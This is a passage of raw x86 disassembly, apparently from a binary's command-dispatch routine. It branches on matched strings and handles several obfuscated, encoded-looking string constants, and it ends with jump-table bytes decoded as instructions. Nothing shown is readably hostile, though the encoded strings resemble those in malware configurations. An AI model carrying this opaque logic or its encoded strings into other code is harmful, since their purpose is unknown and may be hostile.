lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x7c
mov ecx, esp
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x2c]
call fcn.00443e40
add esp, 4
mov byte [ebp - 4], 0x7d
mov edx, esi
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.00454fe0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042cdf0
lea ecx, [ebp - 0x50]
call fcn.0042cdf0
lea ecx, [ebp - 0x24]
call fcn.0042cdf0
lea ecx, [ebp - 0x48]
call fcn.0042cdf0
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
lea ecx, [ebp - 0x1c]
call fcn.0042cdf0
lea ecx, [ebp - 0x3c]
call fcn.0042cdf0
lea ecx, [ebp - 0x44]
call fcn.0042cdf0
lea ecx, [ebp - 0x34]
call fcn.0042cdf0
lea ecx, [ebp - 0xcc]
call fcn.0042c250
jmp 0x526431
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0928
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044edc0
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042c250
test esi, esi
je 0x525d4a
lea ecx, [ebp - 0x68]
call fcn.0042beb0
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525d04
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00526990
add esp, 4
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00406290
lea ecx, [ebp - 0x68]
call fcn.0042c250
jmp 0x526431
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0958
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044edc0
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042c250
test esi, esi
je 0x525df3
lea ecx, [ebp - 0x68]
call fcn.0042beb0
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525d96
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.00526920
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044acb0
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.004068a0
lea ecx, [ebp - 0x68]
call fcn.0042c250
jmp 0x526431
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0940
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044edc0
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042c250
test esi, esi
je 0x525e35
call fcn.0044ed50
jmp 0x526431
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c09a0
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044edc0
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042c250
test esi, esi
je 0x526165
lea ecx, [ebp - 0x68]
call fcn.0042beb0
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x525e85
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041ea00
lea ecx, [ebp - 0x44]
call fcn.0041ea00
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044aec0
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.0044ed70
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x525fd8
push str.TGpKGdjwY9JRI5kCT4
lea ecx, [ebp - 0x20]
call fcn.0042df90
push str.QkMxOcycxTQxww
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042df90
push str.VmFSubTMT6ICAlbBm8kJOBczRAT8F2DSs_HDTcyKBgAmgBQ
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042df90
push 0x5908b4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x85
call fcn.0042df90
push 0x5908b4
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x86
call fcn.0042df90
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x6c]
call fcn.00443e40
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x40]
call fcn.00443e40
mov esi, eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x2c]
call fcn.00443e40
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x24]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00454fe0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042cdf0
lea ecx, [ebp - 0x40]
call fcn.0042cdf0
lea ecx, [ebp - 0x6c]
call fcn.0042cdf0
lea ecx, [ebp - 0x24]
call fcn.0042cdf0
lea ecx, [ebp - 0x48]
call fcn.0042cdf0
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
lea ecx, [ebp - 0x3c]
call fcn.0042cdf0
lea ecx, [ebp - 0x20]
call fcn.0042cdf0
lea ecx, [ebp - 0x38]
call fcn.0041ea00
push str.Z3R0vbRxWuFR0X8Vk4WvRVED3HkVO5D08GzBAQyUFAAVoGRIHeVlcc4VhoMyChFWmV0VR8Ax5FlWFYetExUAhGBRWpTk9CIAwdPgGgkJPEA
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042d690
push str.SWtUPSicExOi8
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042d690
push str.ZTdEdYQxZqNxUERWygEWAQ
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042d690
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x52604d
lea eax, [ebp - 0x100]
push eax
call fcn.0042d2f0
lea ecx, [ebp - 0x6c]
call fcn.00443a10
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x526070
lea eax, [ebp - 0xe4]
push eax
call fcn.0042d2f0
lea ecx, [ebp - 0x28]
call fcn.00443a10
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042d690
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x5260a2
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042cdf0
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x5260b2
lea ecx, [ebp - 0x6c]
call fcn.0042cdf0
lea ecx, [ebp - 0x130]
call fcn.0042d1f0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042d2f0
lea ecx, [ebp - 0x40]
call fcn.00443a10
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00420220
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x40]
call fcn.0042cdf0
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042d2c0
mov ecx, dword [ebp - 0x34]
call fcn.00521cd0
lea ecx, [ebp - 0x130]
call fcn.0042d440
lea ecx, [ebp - 0x100]
call fcn.0042d440
lea ecx, [ebp - 0xe4]
call fcn.0042d440
lea ecx, [ebp - 0x9c]
call fcn.0042d440
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
lea ecx, [ebp - 0x44]
call fcn.0042cdf0
lea ecx, [ebp - 0x1c]
call fcn.0042cdf0
lea ecx, [ebp - 0x68]
call fcn.0042c250
jmp 0x526431
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c0a78
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044edc0
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042c250
test esi, esi
je 0x52622e
lea ecx, [ebp - 0x68]
call fcn.0042beb0
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5261b5
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 8
lea ecx, [ebp - 0x68]
push 0x5908b4
call fcn.0042ab00
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x68]
call fcn.0044b2d0
mov eax, dword [ebp - 0x50]
add esp, 0xc
or eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00412ec0
lea ecx, [ebp - 0x68]
call fcn.0042c250
jmp 0x526431
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c09b8
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044edc0
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042c250
test esi, esi
je 0x5262ed
lea ecx, [ebp - 0x68]
call fcn.0042beb0
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526280
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.00526920
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.00526990
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042d690
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.00532180
lea ecx, [ebp - 0x130]
call fcn.0042d440
lea ecx, [ebp - 0x68]
call fcn.0042c250
jmp 0x526431
push edi
lea ecx, [ebp - 0x44]
call fcn.0042cd10
push str.ajN30eh9dwHBQFDRBklvH1oopFw9A7BBsN1Vg
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042df90
push str.ZkNUfWQsw4M2RD2NCc
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x99
call fcn.0042df90
lea ecx, [ebp - 0x1c]
call fcn.0041ea00
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x44]
call fcn.0042d690
lea ecx, [ebp - 0x6c]
call fcn.0042ec70
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x28]
call fcn.00443e40
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00420220
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042cdf0
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x9b
call fcn.0042cdf0
push 0x5908b4
lea ecx, [ebp - 0x24]
call fcn.0042df90
push 0x5908b4
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9e
call fcn.0042df90
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042d2c0
lea ecx, [ebp - 0x6c]
call fcn.00443e40
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5c5358
call fcn.0042d2f0
lea ecx, [ebp - 0x28]
call fcn.00443a10
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00454fe0
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042cdf0
lea ecx, [ebp - 0x6c]
call fcn.0042cdf0
lea ecx, [ebp - 0x20]
call fcn.0042cdf0
lea ecx, [ebp - 0x24]
call fcn.0042cdf0
lea ecx, [ebp - 0x1c]
call fcn.0042cdf0
lea ecx, [ebp - 0x48]
call fcn.0042cdf0
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
lea ecx, [ebp - 0x44]
call fcn.0042cdf0
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
push str.invalid_stoi_argument
call fcn.00532b89
push str.stoi_argument_out_of_range
call fcn.00532bc9
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
call fcn.0054ed2f
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
call fcn.0054ed2f
call fcn.0054ed2f
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push str.invalid_map_K__T__key
call fcn.00532bc9
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
push 0x80004005
call fcn.0042de60
nop
push esi
push edx
add ah, al
push ebp
push edx
add byte [eax + 0x56], al
push edx
add byte [edx], bl
push esi
push edx
add byte [esi + edx*2 + 0x52], bl
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3